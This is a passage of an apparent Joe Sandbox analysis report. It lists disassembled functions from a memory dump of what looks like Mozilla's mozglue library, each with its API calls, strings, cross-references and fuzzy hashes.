Opcode Fuzzy Hash: bae5d7df9286d038840d8e036db1522185814bc8f0ae4113eccec11b5130acaa
Instruction Fuzzy Hash: 69F0A470A0021CEEDF01AAA18C88BDE77BCDB84319F506129D515655C0E774A99CC661

Function 6C4F4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C4F4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F5585, 6C4F55A8, 6C4F55C3, 6C4F5624

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 916ba36665356e3b463f99de986b17cf602011a11a619a7e00708649c937479c
Instruction ID: c9f65dc3212d2c47fbcd71fa4fca32264fc353eeb665468f80f30c6443d1546f
Opcode Fuzzy Hash: 916ba36665356e3b463f99de986b17cf602011a11a619a7e00708649c937479c
Instruction Fuzzy Hash: 04B25C71A056018FD309CF29C590F15BBE2AFC5325B29C76DE47A8B7A5D771E842CB80

Function 6C5385F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C538C7C
__aulldiv.LIBCMT ref: 6C538DD7

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: d4f3cf98754f2de60cb63186e345606e4ba6729c6321f1f4902c2ab94f562fd0
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: ED325F71F011298BDF1CCE9DC8A17AEB7B2EB88300F15952BD50AFB790E6345D458B92

Function 6C5476E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qMl, xrefs: 6C54793C, 6C547B0B, 6C5479FB, 6C547E0B, 6C547796, 6C5479C0

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID:
String ID: ~qMl
API String ID: 0-4265875183
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 051ca7fb1014e6e0b0e13f9b930ed24752f20f0d00a0316de850774f05845cf7
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 0E32F871E0061A8FDB14CF99C890AADFBF2FF88308F548569C949A7745D731A986CF90

Function 6C546E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qMl, xrefs: 6C547C72, 6C54793C, 6C547B0B, 6C547C03, 6C5479FB, 6C547E0B, 6C5479C0

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID:
String ID: ~qMl
API String ID: 0-4265875183
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 0c7daa52e3ba2666e358dd58c22b79867d329998af478505c4f41febfe382672
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6B22D671E006198FCB14CF99C980AADF7F2FF88304F6585AAC949A7745D731A986CF90

Function 6C515C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C4E4A63,?,?), ref: 6C515F06

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 82624dbb4713a858d4c1f3ad0f21d12edcef85e66ac56c6d70ecb12fe23d78f8
Instruction ID: 75727b09f3dce0603784fdeea40a35a454011bcaa0c0ce63ac205fe3706f86de
Opcode Fuzzy Hash: 82624dbb4713a858d4c1f3ad0f21d12edcef85e66ac56c6d70ecb12fe23d78f8
Instruction Fuzzy Hash: 3CC1C075D052098BDB04CF55C9946EEBBB2FF89318FA8415DD8556BF40D732A905CF80

Function 6C4DDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed8ff7b941c27016ae032d84d6872e7292fc6f8dbd79876077206820e8d83408
Instruction ID: 5b886731a7a80ff84700a9d16d018c14b88c7583ece8e1f7fbd96d5ceb3b530b
Opcode Fuzzy Hash: ed8ff7b941c27016ae032d84d6872e7292fc6f8dbd79876077206820e8d83408
Instruction Fuzzy Hash: AC42A472A187508BD305DE3CC891B5AF3E2BFC9354F0A872DE999A7790D734E9418781

Function 6C500512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 2f3cd4e33fb6bbe21c3a0a888f81a15e568cb1439f9ec475f030d69026fd3d0a
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 6C220671E04619CFDB14CF98C890AADF7B2FF89308F54859AD44AA7745D731A986CF80

Function 6C54AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b6376d5c164ec3521223f39150db914b19b8a202d02095c6bcf9d11b8e77411
Instruction ID: 93c2e9b11f20a32c0f25a41f10fb7134b0e68c492a3fac5eec3e71711bf03715
Opcode Fuzzy Hash: 4b6376d5c164ec3521223f39150db914b19b8a202d02095c6bcf9d11b8e77411
Instruction Fuzzy Hash: 4AF137726087459FD740CE28CC807AEB7E6AFC5319F15CA3DE4D487781E77498898792

Function 6C4DC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 3db0940278c151d6171303a0cb17ca70b8fb635cae8602f95b56aedbb0d49a1c
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 9FA1B371F0021A8FDB08DE69C891BAEB7F2AFC8355F198169E915E7781D7346C068BD0

Function 6C517710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 60d1dbb27c322e6941096cd735204b883eb934ee9ce1980ed64ff33fa0304812
Instruction ID: aa3a02b1b3ff15dfdbd00da9a773a39bad4616183b7b6240c88c6d486085e0bc
Opcode Fuzzy Hash: 60d1dbb27c322e6941096cd735204b883eb934ee9ce1980ed64ff33fa0304812
Instruction Fuzzy Hash: AC716D75E052198FDF08CFA9C8945EEBBB2FF89354F24816ED815ABB40D731A905CB90

Function 6C51CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C4E582D), ref: 6C51CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C4E582D), ref: 6C51CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C54FE98,?,?,?,?,?,6C4E582D), ref: 6C51CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C51CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C51CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C51CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C51CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C51CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C51CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C51CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C51CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C51CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C51CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C51CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C51CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C51CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C51CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C51CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C51CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C51CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C51CE8A

Strings

fileio, xrefs: 6C51CC92
noiostacks, xrefs: 6C51CCBE
screenshots, xrefs: 6C51CCD4
default, xrefs: 6C51CC21
jsallocations, xrefs: 6C51CD0E
mainthreadio, xrefs: 6C51CC7C
unregisteredthreads, xrefs: 6C51CE58
markersallthreads, xrefs: 6C51CE42
cpuallthreads, xrefs: 6C51CE16
fileioall, xrefs: 6C51CCA8
nativeallocations, xrefs: 6C51CDA8
ipcmessages, xrefs: 6C51CDBE
java, xrefs: 6C51CC37
samplingallthreads, xrefs: 6C51CE2C
seqstyle, xrefs: 6C51CCE6
nostacksampling, xrefs: 6C51CD7C
processcpu, xrefs: 6C51CE6E
power, xrefs: 6C51CE84
leaf, xrefs: 6C51CC66
preferencereads, xrefs: 6C51CD92
audiocallbacktracing, xrefs: 6C51CDD4
Unrecognized feature "%s"., xrefs: 6C51CEA0
stackwalk, xrefs: 6C51CCF8
notimerresolutionchange, xrefs: 6C51CE00

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: b73da1495c82e3a83223da94db1493d5c2a664e3c830bfe18695ca6653f65d37
Instruction ID: 264b4a6e11670e5a3b84bca554bfc81176ef5f901ed56783c2c41cfea4986744
Opcode Fuzzy Hash: b73da1495c82e3a83223da94db1493d5c2a664e3c830bfe18695ca6653f65d37
Instruction Fuzzy Hash: 7651A9F1A5D26552FA0171196D19BAA1405EFD334AF10883BED0BA1F80FB07FA1D86B7

Function 6C4E47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4E4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4E4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4E482D
__Init_thread_footer.LIBCMT ref: 6C4E484A

Part of subcall function 6C50AB3F: EnterCriticalSection.KERNEL32(6C55E370,?,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB49
Part of subcall function 6C50AB3F: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50AB7C

GetCurrentThreadId.KERNEL32 ref: 6C4E485F
GetCurrentThreadId.KERNEL32 ref: 6C4E487E
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E488B
free.MOZGLUE(?), ref: 6C4E493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E4956
free.MOZGLUE(00000000), ref: 6C4E4960
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E499A

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

free.MOZGLUE(?), ref: 6C4E49C6
free.MOZGLUE(?), ref: 6C4E49E9

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4E4828
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4E47FC
[I %d/%d] profiler_shutdown, xrefs: 6C4E4A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4E4812
MOZ_PROFILER_SHUTDOWN, xrefs: 6C4E4A42

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: d6180bf5fc2aefc45ecbd2030fa98920e437d2f582ab12e219e25213649428c5
Instruction ID: bc32ad869a3fc813948ef1718eb681853037548ad8e45aa4265dd276f7652742
Opcode Fuzzy Hash: d6180bf5fc2aefc45ecbd2030fa98920e437d2f582ab12e219e25213649428c5
Instruction Fuzzy Hash: A681F571A00110CFDB00DFA8CC48F5A3775BF8A36AF960629D916A7F41D731E855CB9A

Function 6C4E4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4E4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4E44B2,6C55E21C,6C55F7F8), ref: 6C4E473E
Part of subcall function 6C4E4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4E474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C4E44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C4E44D2
InitOnceExecuteOnce.KERNEL32(6C55F80C,6C4DF240,?,?), ref: 6C4E451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4E455C
LoadLibraryW.KERNEL32(?), ref: 6C4E4592
InitializeCriticalSection.KERNEL32(6C55F770), ref: 6C4E45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C4E45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C4E45BB
InitOnceExecuteOnce.KERNEL32(6C55F818,6C4DF240,?,?), ref: 6C4E4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C4E4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C4E4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4E466D
VerSetConditionMask.NTDLL ref: 6C4E469F
VerSetConditionMask.NTDLL ref: 6C4E46AB
VerSetConditionMask.NTDLL ref: 6C4E46B2
VerSetConditionMask.NTDLL ref: 6C4E46B9
VerSetConditionMask.NTDLL ref: 6C4E46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4E46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C4E46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C4E46FD

Strings

user32.dll, xrefs: 6C4E4557, 6C4E463F
l, xrefs: 6C4E4578
NativeNtBlockSet_Write, xrefs: 6C4E46F7
GUl, xrefs: 6C4E44FC
kernel32.dll, xrefs: 6C4E44CD
WRusr.dll, xrefs: 6C4E44B5

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GUl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1685291523
Opcode ID: 979b2477d0fc1b18c2baae442296ba87aae4198cb65abcf8e68315a8f663ab98
Instruction ID: 34045ad6320e12c9c95d4a43c2abe66f66a09155707e4339070c463d5f5dd165
Opcode Fuzzy Hash: 979b2477d0fc1b18c2baae442296ba87aae4198cb65abcf8e68315a8f663ab98
Instruction Fuzzy Hash: 7F6108B0A00344AFEB00EFA0CC09F957BF8EF4A34AF868659E5049BB41D7B59955CF94

Function 6C51F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C51F8F9

Part of subcall function 6C4E6390: GetCurrentThreadId.KERNEL32 ref: 6C4E63D0
Part of subcall function 6C4E6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C4E63DF
Part of subcall function 6C4E6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C4E640E

ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F93A
GetCurrentThreadId.KERNEL32 ref: 6C51F98A
GetCurrentThreadId.KERNEL32 ref: 6C51F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F716

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

Part of subcall function 6C4DB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C4DB5E0

GetCurrentThreadId.KERNEL32 ref: 6C51F739
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F746
GetCurrentThreadId.KERNEL32 ref: 6C51F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C55385B,00000002,?,?,?,?,?), ref: 6C51F829
free.MOZGLUE(?,?,00000000,?), ref: 6C51F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C51F866
free.MOZGLUE(?), ref: 6C51FA0C

Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E5E8C
Part of subcall function 6C4E5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5E9D
Part of subcall function 6C4E5E60: GetCurrentThreadId.KERNEL32 ref: 6C4E5EAB
Part of subcall function 6C4E5E60: GetCurrentThreadId.KERNEL32 ref: 6C4E5EB8
Part of subcall function 6C4E5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5ECF
